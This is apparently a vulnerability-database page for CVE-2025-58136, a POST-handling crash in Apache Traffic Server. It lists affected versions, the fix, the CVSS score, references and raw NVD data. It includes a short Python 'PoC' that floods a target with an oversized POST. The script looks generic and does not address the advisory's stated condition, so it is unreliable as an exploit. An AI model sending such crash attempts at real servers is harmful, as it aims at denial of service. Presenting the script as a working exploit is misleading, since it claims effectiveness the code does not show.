CVE-2025-58136

Description

A bug in POST request handling causes a crash under a certain condition. This issue affects Apache Traffic Server: from 10.0.0 through 10.1.1, from 9.0.0 through 9.2.12. Users are recommended to upgrade to version 10.1.2 or 9.2.13, which fix the issue. A workaround for older versions is to set proxy.config.http.request_buffer_enabled to 0 (the default value is 0).

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:traffic_server:*:*:*:*:*:*:*:* - VULNERABLE

Apache Traffic Server 10.0.0 至 10.1.1

Apache Traffic Server 9.0.0 至 9.2.12

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def trigger_poc(target_url):
    """
    PoC for CVE-2025-58136
    Attempts to trigger the crash via a crafted POST request.
    """
    try:
        # Sending a potentially malicious POST request
        payload = {'data': 'A' * 10000}
        response = requests.post(target_url, data=payload, timeout=5)
        print(f"Request sent. Status: {response.status_code}")
    except Exception as e:
        print(f"Potential crash detected: {e}")

if __name__ == "__main__":
    target = "http://127.0.0.1:8080"
    trigger_poc(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58136
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58136
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58136/
[4] VulDB https://vuldb.com/cve/CVE-2025-58136
[5] https://lists.apache.org/thread/2s11roxlv1j8ph6q52rqo1klvl01n14q

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-58136", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:20.933", "lastModified": "2026-04-06T16:06:11.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A bug in POST request handling causes a crash under a certain condition.\n\nThis issue affects Apache Traffic Server: from 10.0.0 through 10.1.1, from 9.0.0 through 9.2.12.\n\nUsers are recommended to upgrade to version 10.1.2 or 9.2.13, which fix the issue.\n\nA workaround for older versions is to set proxy.config.http.request_buffer_enabled to 0 (the default value is 0)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-670"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:traffic_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.2.13", "matchCriteriaId": "361CCF7A-CB22-4074-A902-779476856482"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:traffic_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.1.2", "matchCriteriaId": "CA23F0DC-E368-4327-87A1-A0DCD8553AFF"}]}]}], "references": [{"url": "https://lists.apache.org/thread/2s11roxlv1j8ph6q52rqo1klvl01n14q", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}]}}